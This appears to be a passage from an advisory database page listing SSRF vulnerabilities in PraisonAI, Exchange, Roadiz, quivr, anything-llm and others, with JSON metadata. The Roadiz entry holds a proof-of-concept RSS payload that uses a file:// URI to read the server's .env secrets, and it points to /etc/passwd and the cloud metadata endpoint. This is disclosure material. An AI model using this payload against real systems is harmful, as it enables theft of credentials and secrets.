"details": "PraisonAI versions before 1.6.78 contain a server-side request forgery vulnerability in the Crawl4AI/Chromium backend that allows attackers to bypass SSRF validation by exploiting DNS rebinding and HTTP redirects. Attackers can craft URLs that resolve to internal services after the initial validation check, enabling the headless browser to follow redirects and read internal responses including sensitive canary values.",
"id": "GHSA-rc3q-9pxg-3jhr",
"modified": "2026-07-11T15:30:23Z",
"published": "2026-07-11T15:30:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6g59-gm2v-qhvq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61429"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-before-ssrf-via-crawl4ai-chromium-backend"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RC45-HPV2-J3HH
Vulnerability from github – Published: 2026-06-09 18:30 – Updated: 2026-06-09 18:30Server-side request forgery (ssrf) in Microsoft Exchange Server allows an authorized attacker to perform spoofing over a network.
{
"affected": [],
"aliases": [
"CVE-2026-45501"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T17:17:25Z",
"severity": "MODERATE"
},
"details": "Server-side request forgery (ssrf) in Microsoft Exchange Server allows an authorized attacker to perform spoofing over a network.",
"id": "GHSA-rc45-hpv2-j3hh",
"modified": "2026-06-09T18:30:50Z",
"published": "2026-06-09T18:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45501"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RC49-9XPQ-VCHG
Vulnerability from github – Published: 2024-12-28 00:30 – Updated: 2024-12-28 18:30A Server-Side Request Forgery (SSRF) in smarts-srl.com Smart Agent v.1.1.0 allows a remote attacker to obtain sensitive information via a crafted script to the /FB/getFbVideoSource.php component.
{
"affected": [],
"aliases": [
"CVE-2024-50714"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-27T22:15:11Z",
"severity": "HIGH"
},
"details": "A Server-Side Request Forgery (SSRF) in smarts-srl.com Smart Agent v.1.1.0 allows a remote attacker to obtain sensitive information via a crafted script to the /FB/getFbVideoSource.php component.",
"id": "GHSA-rc49-9xpq-vchg",
"modified": "2024-12-28T18:30:47Z",
"published": "2024-12-28T00:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50714"
},
{
"type": "WEB",
"url": "https://packetstorm.news/files/id/182450"
},
{
"type": "WEB",
"url": "https://smarts-srl.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RC55-58F4-687G
Vulnerability from github – Published: 2026-03-23 21:43 – Updated: 2026-03-27 21:00This vulnerability allows an authenticated attacker to read any file on the server's local file system that the web server process has access to, including highly sensitive environment variables, database credentials, and internal configuration files.
| Field | Details |
|---|---|
| Vulnerability Class | Server-Side Request Forgery (SSRF) & Local File Inclusion (LFI) |
| Affected Component | RZ\Roadiz\Documents\DownloadedFile::fromUrl() |
| Prerequisites | Authenticated user with ROLE_ACCESS_DOCUMENTS |
Technical Description
The Roadiz backend features tools for importing external media, such as compiling cover art from Podcast RSS Feeds or OEmbed providers. This feature is handled by various MediaFinders, which ultimately pass the extracted media URLs to the DownloadedFile::fromUrl(string $url) parsing mechanism.
Inside fromUrl(), the application uses PHP's native fopen() function to fetch the remote resource and copy it into the local temporary directory before injecting it into the Flysystem Documents storage.
The Flaw
The $url parameter is passed to fopen without any schema validation or sanitization. In PHP, when stream wrappers are enabled, functions like fopen do not restrict operations to HTTP streams. If a file:// scheme is supplied, PHP seamlessly converts the operation into a local file system read. Because an attacker tightly controls the XML feed (e.g., from a Podcast integration), they can inject a file:// URI, forcing the CMS to "download" internal system files directly into the publicly accessible Media Library.
Proof of Concept (PoC)
To reliably reproduce this vulnerability without requiring a live external URL, the attacker simply mimics the behavior of the Podcast importer manipulating the internal system.
Step 1: Craft the Malicious Payload
The attacker creates a standard Podcast RSS XML feed (podcast.xml) and hosts it externally (or on an internal network reachable by the CMS). Inside this XML, the href attribute for the podcast thumbnail is weaponized to target a sensitive system file:
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd">
<channel>
<title>Roadiz LFI Exploit</title>
<!-- Payload triggers the local filesystem fetch via PHP streams -->
<itunes:image href="file:///app/.env" />
</channel>
</rss>
Step 2: Exploit the CMS
- Authenticate to the Roadiz Backoffice.
- Navigate to Documents (Media Manager).
- Select Add a document -> Import from URL (or trigger a Podcast sync).
- Supply the URL of the malicious
podcast.xmlfile.
Step 3: Extract the Data
- The
AbstractPodcastFinderprocesses the XML and feedsfile:///app/.envdirectly intoDownloadedFile::fromUrl(). - The Roadiz application silently reads its own
.envfile, creating a new "Document" arrayed with the contents of the file. - The file manifests in the Media Manager grid as a broken image icon.
- The attacker actively downloads the newly generated Document from the dashboard, successfully extracting the framework's internal API keys, database credentials, and
APP_SECRET.
Impact Analysis
Exploitation of this vulnerability results in a total loss of Confidentiality for the web application and underlying operating system.
- Application Compromise: An attacker can retrieve
.env,security.yaml, or database.sqlitefiles, leading to complete horizontal and vertical privilege escalation. - System Enumeration: The attacker can read
/etc/passwd, enumerating system users in preparation for lateral movement. - Cloud Environment Compromise: If deployed within AWS, Azure, or GCP, the SSRF vector can be pivoted to read internal cloud metadata endpoints (e.g.,
http://169.254.169.254/latest/meta-data/), allowing the attacker to steal Root IAM roles globally compromising the victim's infrastructure.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "roadiz/documents"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "roadiz/documents"
},
"ranges": [
{
"events": [
{
"introduced": "2.6.0"
},
{
"fixed": "2.6.28"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "roadiz/documents"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.5.44"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "roadiz/documents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.42"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33486"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-23T21:43:14Z",
"nvd_published_at": "2026-03-26T18:16:29Z",
"severity": "MODERATE"
},
"details": "This vulnerability allows an authenticated attacker to read any file on the server\u0027s local file system that the web server process has access to, including highly sensitive environment variables, database credentials, and internal configuration files.\n\n| Field | Details |\n| :--- | :--- |\n| **Vulnerability Class** | Server-Side Request Forgery (SSRF) \u0026 Local File Inclusion (LFI) |\n| **Affected Component** | `RZ\\Roadiz\\Documents\\DownloadedFile::fromUrl()` |\n| **Prerequisites** | Authenticated user with `ROLE_ACCESS_DOCUMENTS` |\n\n## Technical Description\n\nThe Roadiz backend features tools for importing external media, such as compiling cover art from Podcast RSS Feeds or OEmbed providers. This feature is handled by various `MediaFinders`, which ultimately pass the extracted media URLs to the `DownloadedFile::fromUrl(string $url)` parsing mechanism.\n\nInside `fromUrl()`, the application uses PHP\u0027s native `fopen()` function to fetch the remote resource and copy it into the local temporary directory before injecting it into the Flysystem Documents storage.\n\n## The Flaw\n\nThe `$url` parameter is passed to `fopen` *without any schema validation or sanitization*. In PHP, when stream wrappers are enabled, functions like `fopen` do not restrict operations to HTTP streams. If a `file://` scheme is supplied, PHP seamlessly converts the operation into a local file system read. Because an attacker tightly controls the XML feed (e.g., from a Podcast integration), they can inject a `file://` URI, forcing the CMS to \"download\" internal system files directly into the publicly accessible Media Library.\n\n---\n\n## Proof of Concept (PoC)\n\nTo reliably reproduce this vulnerability without requiring a live external URL, the attacker simply mimics the behavior of the Podcast importer manipulating the internal system.\n\n### Step 1: Craft the Malicious Payload\nThe attacker creates a standard Podcast RSS XML feed (`podcast.xml`) and hosts it externally (or on an internal network reachable by the CMS). Inside this XML, the `href` attribute for the podcast thumbnail is weaponized to target a sensitive system file:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003crss version=\"2.0\" xmlns:itunes=\"http://www.itunes.com/dtds/podcast-1.0.dtd\"\u003e\n \u003cchannel\u003e\n \u003ctitle\u003eRoadiz LFI Exploit\u003c/title\u003e\n \u003c!-- Payload triggers the local filesystem fetch via PHP streams --\u003e\n \u003citunes:image href=\"file:///app/.env\" /\u003e \n \u003c/channel\u003e\n\u003c/rss\u003e\n```\n\n### Step 2: Exploit the CMS\n1. Authenticate to the Roadiz Backoffice.\n2. Navigate to **Documents (Media Manager)**.\n3. Select **Add a document** -\u003e **Import from URL** (or trigger a Podcast sync).\n4. Supply the URL of the malicious `podcast.xml` file.\n\n### Step 3: Extract the Data\n1. The `AbstractPodcastFinder` processes the XML and feeds `file:///app/.env` directly into `DownloadedFile::fromUrl()`.\n2. The Roadiz application silently reads its own `.env` file, creating a new \"Document\" arrayed with the contents of the file.\n3. The file manifests in the Media Manager grid as a broken image icon.\n4. The attacker actively downloads the newly generated Document from the dashboard, successfully extracting the framework\u0027s internal API keys, database credentials, and `APP_SECRET`.\n\n---\n\n## Impact Analysis\n\nExploitation of this vulnerability results in a total loss of **Confidentiality** for the web application and underlying operating system. \n\n- **Application Compromise:** An attacker can retrieve `.env`, `security.yaml`, or database `.sqlite` files, leading to complete horizontal and vertical privilege escalation.\n- **System Enumeration:** The attacker can read `/etc/passwd`, enumerating system users in preparation for lateral movement.\n- **Cloud Environment Compromise:** If deployed within AWS, Azure, or GCP, the SSRF vector can be pivoted to read internal cloud metadata endpoints (e.g., `http://169.254.169.254/latest/meta-data/`), allowing the attacker to steal Root IAM roles globally compromising the victim\u0027s infrastructure.",
"id": "GHSA-rc55-58f4-687g",
"modified": "2026-03-27T21:00:11Z",
"published": "2026-03-23T21:43:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/roadiz/core-bundle-dev-app/security/advisories/GHSA-rc55-58f4-687g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33486"
},
{
"type": "WEB",
"url": "https://github.com/roadiz/core-bundle-dev-app/commit/7904f690a51b88b1c72c02149ebdf85fa81f19f2"
},
{
"type": "PACKAGE",
"url": "https://github.com/roadiz/core-bundle-dev-app"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Roadiz has Server-Side Request Forgery (SSRF) in roadiz/documents"
}
GHSA-RCFG-X28G-P9M3
Vulnerability from github – Published: 2024-06-06 21:30 – Updated: 2024-06-06 21:30A Server-Side Request Forgery (SSRF) vulnerability exists in the stangirard/quivr application, version 0.0.204, which allows attackers to access internal networks. The vulnerability is present in the crawl endpoint where the 'url' parameter can be manipulated to send HTTP requests to arbitrary URLs, thereby facilitating SSRF attacks. The affected code is located in the backend/routes/crawl_routes.py file, specifically within the crawl_endpoint function. This issue could allow attackers to interact with internal services that are accessible from the server hosting the application.
{
"affected": [],
"aliases": [
"CVE-2024-4851"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-06T19:16:02Z",
"severity": "HIGH"
},
"details": "A Server-Side Request Forgery (SSRF) vulnerability exists in the stangirard/quivr application, version 0.0.204, which allows attackers to access internal networks. The vulnerability is present in the crawl endpoint where the \u0027url\u0027 parameter can be manipulated to send HTTP requests to arbitrary URLs, thereby facilitating SSRF attacks. The affected code is located in the backend/routes/crawl_routes.py file, specifically within the crawl_endpoint function. This issue could allow attackers to interact with internal services that are accessible from the server hosting the application.",
"id": "GHSA-rcfg-x28g-p9m3",
"modified": "2024-06-06T21:30:37Z",
"published": "2024-06-06T21:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4851"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/b6011986-954a-47da-a60c-fc7aebc8005d"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RCM3-8WQ2-RCC2
Vulnerability from github – Published: 2024-06-06 18:30 – Updated: 2024-06-06 18:30mintplex-labs/anything-llm is vulnerable to multiple security issues due to improper input validation in several endpoints. An attacker can exploit these vulnerabilities to escalate privileges from a default user role to an admin role, read and delete arbitrary files on the system, and perform Server-Side Request Forgery (SSRF) attacks. The vulnerabilities are present in the /request-token, /workspace/:slug/thread/:threadSlug/update, /system/remove-logo, /system/logo, and collector's /process endpoints. These issues are due to the application's failure to properly validate user input before passing it to prisma functions and other critical operations. Affected versions include the latest version prior to 1.0.0.
{
"affected": [],
"aliases": [
"CVE-2024-3152"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-755",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-06T18:15:17Z",
"severity": "HIGH"
},
"details": "mintplex-labs/anything-llm is vulnerable to multiple security issues due to improper input validation in several endpoints. An attacker can exploit these vulnerabilities to escalate privileges from a default user role to an admin role, read and delete arbitrary files on the system, and perform Server-Side Request Forgery (SSRF) attacks. The vulnerabilities are present in the `/request-token`, `/workspace/:slug/thread/:threadSlug/update`, `/system/remove-logo`, `/system/logo`, and collector\u0027s `/process` endpoints. These issues are due to the application\u0027s failure to properly validate user input before passing it to `prisma` functions and other critical operations. Affected versions include the latest version prior to 1.0.0.",
"id": "GHSA-rcm3-8wq2-rcc2",
"modified": "2024-06-06T18:30:57Z",
"published": "2024-06-06T18:30:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3152"
},
{
"type": "WEB",
"url": "https://github.com/mintplex-labs/anything-llm/commit/200bd7f0615347ed2efc07903d510e5a208b0afc"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/46034fa0-d623-49f8-8ee8-390390181373"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.